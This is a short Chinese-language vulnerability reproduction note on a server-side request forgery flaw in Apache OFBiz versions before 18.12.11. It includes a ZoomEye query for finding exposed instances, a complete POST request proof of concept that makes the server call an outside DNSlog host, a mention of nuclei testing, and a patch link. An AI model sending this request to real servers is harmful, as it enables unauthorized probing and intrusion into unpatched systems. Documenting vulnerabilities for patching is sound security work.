0x00写在前面

本次测试仅供学习使用,如若非法他用,与本平台和发布者无关,需自行负责!

0x01漏洞介绍

Apache OFBiz是美国阿帕奇(Apache)基金会的一套企业资源计划(ERP)系统。该系统提供了一整套基于Java的Web应用程序组件和工具。

Apache OFBiz 18.12.11之前版本存在代码问题漏洞,该漏洞源于用户可以在未经授权的情况下操作相同的uri来实现服务器端请求伪造攻击。

0x02影响版本

Apache Ofbiz < 18.12.11

0x03漏洞复现

zoomeye语法

zoomeye语法 app:"Apache OFBiz"

1.访问漏洞环境

2.对漏洞进行复现

 POC (POST)

漏洞复现

POST /partymgr/control/getJSONuiLabel HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36
Connection: close
Content-Length: 81
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

requiredLabel={"http://edfhbfzyhp.dgrh3.cn/api":"THr1Hh"}

执行payload


测试DNSlog(漏洞存在)

3.nuclei工具测试(漏洞存在)

0x04修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://lists.apache.org/thread/x5now4bk3llwf3k58kl96qvtjyxwp43q